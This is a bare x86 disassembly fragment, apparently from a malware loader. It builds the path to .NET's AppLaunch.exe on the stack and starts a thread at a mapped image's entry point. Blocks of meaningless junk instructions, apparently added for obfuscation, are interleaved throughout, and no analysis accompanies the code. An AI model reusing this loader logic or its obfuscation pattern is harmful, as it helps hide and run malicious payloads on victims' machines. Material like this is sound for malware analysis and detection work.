mov word [ebp - 0x80], ax
mov ecx, 0x3a
mov word [ebp - 0x7e], cx
mov edx, 0x5c
mov word [ebp - 0x7c], dx
mov eax, 0x57
mov word [ebp - 0x7a], ax
mov ecx, 0x69
mov word [ebp - 0x78], cx
mov edx, 0x6e
mov word [ebp - 0x76], dx
mov eax, 0x64
mov word [ebp - 0x74], ax
mov ecx, 0x6f
mov word [ebp - 0x72], cx
mov edx, 0x77
mov word [ebp - 0x70], dx
mov eax, 0x73
mov word [ebp - 0x6e], ax
mov ecx, 0x5c
mov word [ebp - 0x6c], cx
mov edx, 0x4d
mov word [ebp - 0x6a], dx
mov eax, 0x69
mov word [ebp - 0x68], ax
mov ecx, 0x63
mov word [ebp - 0x66], cx
mov edx, 0x72
mov word [ebp - 0x64], dx
mov eax, 0x6f
mov word [ebp - 0x62], ax
mov ecx, 0x73
mov word [ebp - 0x60], cx
mov edx, 0x6f
mov word [ebp - 0x5e], dx
mov eax, 0x66
mov word [ebp - 0x5c], ax
mov ecx, 0x74
mov word [ebp - 0x5a], cx
mov edx, 0x2e
mov word [ebp - 0x58], dx
mov eax, 0x4e
mov word [ebp - 0x56], ax
mov ecx, 0x45
mov word [ebp - 0x54], cx
mov edx, 0x54
mov word [ebp - 0x52], dx
mov eax, 0x5c
mov word [ebp - 0x50], ax
mov ecx, 0x46
mov word [ebp - 0x4e], cx
mov edx, 0x72
mov word [ebp - 0x4c], dx
mov eax, 0x61
mov word [ebp - 0x4a], ax
mov ecx, 0x6d
mov word [ebp - 0x48], cx
mov edx, 0x65
mov word [ebp - 0x46], dx
mov eax, 0x77
mov word [ebp - 0x44], ax
mov ecx, 0x6f
mov word [ebp - 0x42], cx
mov edx, 0x72
mov word [ebp - 0x40], dx
mov eax, 0x6b
mov word [ebp - 0x3e], ax
mov ecx, 0x5c
mov word [ebp - 0x3c], cx
mov edx, 0x76
mov word [ebp - 0x3a], dx
mov eax, 0x34
mov word [ebp - 0x38], ax
mov ecx, 0x2e
mov word [ebp - 0x36], cx
mov edx, 0x30
mov word [ebp - 0x34], dx
mov eax, 0x2e
mov word [ebp - 0x32], ax
mov ecx, 0x33
mov word [ebp - 0x30], cx
mov edx, 0x30
mov word [ebp - 0x2e], dx
mov eax, 0x33
mov word [ebp - 0x2c], ax
mov ecx, 0x31
mov word [ebp - 0x2a], cx
mov edx, 0x39
mov word [ebp - 0x28], dx
mov eax, 0x5c
mov word [ebp - 0x26], ax
mov ecx, 0x41
mov word [ebp - 0x24], cx
mov edx, 0x70
mov word [ebp - 0x22], dx
mov eax, 0x70
mov word [ebp - 0x20], ax
mov ecx, 0x4c
mov word [ebp - 0x1e], cx
mov edx, 0x61
mov word [ebp - 0x1c], dx
mov eax, 0x75
mov word [ebp - 0x1a], ax
mov ecx, 0x6e
mov word [ebp - 0x18], cx
mov edx, 0x63
mov word [ebp - 0x16], dx
mov eax, 0x68
mov word [ebp - 0x14], ax
mov ecx, 0x2e
mov word [ebp - 0x12], cx
mov edx, 0x65
mov word [ebp - 0x10], dx
mov eax, 0x78
mov word [ebp - 0xe], ax
mov ecx, 0x65
mov word [ebp - 0xc], cx
xor edx, edx
mov word [ebp - 0xa], dx
mov eax, dword [ebp - 0x88]
cmp dword [eax + 0xe8], 0
setne cl
mov byte [ebp - 0x115], cl
movzx edx, byte [ebp - 0x115]
test edx, edx
je 0x409666
push 8
mov eax, dword [ebp - 0xfc]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00401260
add esp, 0xc
mov edx, dword [ebp - 0xfc]
lea eax, [ebp - 0x80]
mov dword [edx + 4], eax
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov edx, dword [ebp - 0xfc]
mov word [edx], ax
bswap edx
dec esi
neg eax
mov edx, 0x60
neg ebx
imul edi
and esi, 0x5b
mov eax, 0xbd
bswap ebx
rcl eax, 0x14
imul edx
dec edx
mov ebx, 0xeb
bswap edx
neg edi
or eax, 0xe9
sub edi, 0xb9
rcr edx, 0x3a
not edi
rcl eax, 0xaf
dec eax
sub edi, 0x22
sub edx, 0xfe
inc ebx
imul eax
ror ebx, 0x53
not eax
rcl edx, 0xdb
ror eax, 0x14
ror eax, 0x78
imul edx
imul esi
sbb ebx, 0x21
rcl ebx, 0x38
and ebx, 0x29
and edi, 0x18
not ebx
bswap esi
not esi
add eax, 0x7c
rcr esi, 0xa4
sbb eax, 0x77
sub eax, 0x7e
ror eax, 0x29
bswap edx
imul ebx
inc ebx
not edx
add esi, 0x72
neg ebx
mov edi, 0x59
inc edx
rcl esi, 0x33
neg eax
add edi, 7
rol edi, 0x54
rcr ebx, 0xa9
not edi
or edx, 0xb0
rcl edx, 0xf8
rol eax, 0x4d
neg ebx
bswap edi
not eax
ror edx, 0xb
ror edx, 0xf5
dec ebx
mov edi, 0xdc
and edx, 0xde
sbb ebx, 0x9e
rcl eax, 0x1f
rol esi, 0x80
rcl ebx, 0x2a
dec esi
dec ebx
mov edi, 0x86
and eax, 0x5e
not edx
and edi, 0xf9
sbb edx, 0x9f
not edi
inc eax
rcr eax, 0xe
imul edi
not edi
inc edx
or edx, 0x8c
dec eax
rcr esi, 0x2a
sub esi, 0x55
imul edi
bswap eax
inc edi
inc eax
ror eax, 0x95
not eax
dec esi
rcl esi, 0xea
inc edi
mov ebx, 0x7e
rcl edx, 0xbc
dec edx
inc ebx
imul eax
neg esi
bswap eax
neg edx
rol esi, 0xb
dec ebx
dec ebx
or ebx, 0x83
ror ebx, 0x76
ror eax, 0x1d
inc edx
and ebx, 0x70
add esi, 4
not esi
neg edx
ror eax, 0x7c
inc eax
rcl edi, 0xd9
imul edi
or edx, 0xbc
imul eax
inc esi
ror ebx, 0x59
neg ebx
neg edi
neg edx
inc edx
dec edi
and eax, 0x46
rcl edi, 0x98
rcl ebx, 0x6e
dec eax
inc esi
bswap esi
dec edi
inc edi
inc eax
bswap edi
mov edx, 0x48
sbb ebx, 0x38
sbb edx, 0x93
sub esi, 0x99
bswap esi
bswap edi
rcl eax, 0
and edi, 0x7f
inc edi
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + 0x28]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x104], eax
movzx edx, byte [ebp - 0x115]
test edx, edx
je 0x409842
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp - 0xfc]
push ecx
call fcn.00401260
add esp, 0xc
push 0xffffffffffffffff
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg ebx
mov edx, 0xb2
rcr eax, 0xe8
ror edi, 0x3a
imul edx
and edx, 0xb4
sub edi, 0x1e
ror eax, 0xe2
dec esi
inc edi
neg edi
neg esi
not eax
imul edi
neg esi
imul edi
inc edx
add edi, 0xe5
not eax
imul edx
imul eax
not edi
neg esi
inc ebx
add esi, 0x75
sub edi, 0xc5
neg ebx
ror eax, 0x71
dec edx
dec esi
neg edx
not ebx
sub eax, 0xd2
rol edi, 0x27
rcr edi, 0x10
rcl eax, 0x28
rol eax, 0xc8
bswap edx
add esi, 0x53
sbb esi, 0xc5
add edx, 0x83
sbb edx, 0x93
ror esi, 0xfe
rcr esi, 0xd8
imul ebx
dec esi
not eax
sbb eax, 0x32
bswap esi
inc edx
bswap edi
rol esi, 0x10
or esi, 0xce
inc esi
and esi, 0x55
and eax, 0xfe
dec esi
dec edi
not edi
neg ebx
inc edi
and edi, 0x4f
bswap ebx
bswap edi
add eax, 0x59
mov eax, 0xa6
not eax
inc eax
rol eax, 0xb7
rol eax, 0x2d
sbb ebx, 0xc5
sub esi, 0x3c
ror ebx, 0xe0
bswap esi
dec ebx
rcr edi, 0xd3
rol ebx, 0x20
sub edi, 0xef
not esi
and ebx, 0x76
dec ebx
neg edx
inc eax
sbb edx, 0x2c
rcl edi, 0x22
not edi
ror eax, 0x34
dec esi
imul esi
ror esi, 0x38
mov ebx, 0x47
bswap ebx
ror esi, 0x7a
dec eax
inc eax
neg ebx
not ebx
bswap edi
imul edx
neg edx
inc esi
imul edx
not esi
inc esi
or esi, 0x42
not edi
mov ebx, 0x9f
ror edi, 0xb0
add esi, 0x1e
bswap edx
inc esi
imul edi
rcr ebx, 0xf3
sbb edi, 0x2e
neg edi
and ebx, 0x38
sbb ebx, 0x94
add eax, 0xc
rol ebx, 0x74
inc ebx
dec ebx
rol edi, 0xc2
add edx, 0xcd
mov eax, 0xd5
rcl esi, 0x36
sub edx, 0x82
inc eax
dec esi
not ebx
rol ebx, 0x94
neg edx
sbb edx, 0x1b
add edx, 0x9e
rcr ebx, 0x41
dec edi
mov eax, 0x10
rol esi, 0x6b
bswap edx
dec ebx
imul ebx
ror eax, 1
inc edx
sub edi, 0x63
imul eax
ror esi, 0x39
neg edi
sub edx, 0x34
neg edx
dec edi
neg eax
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret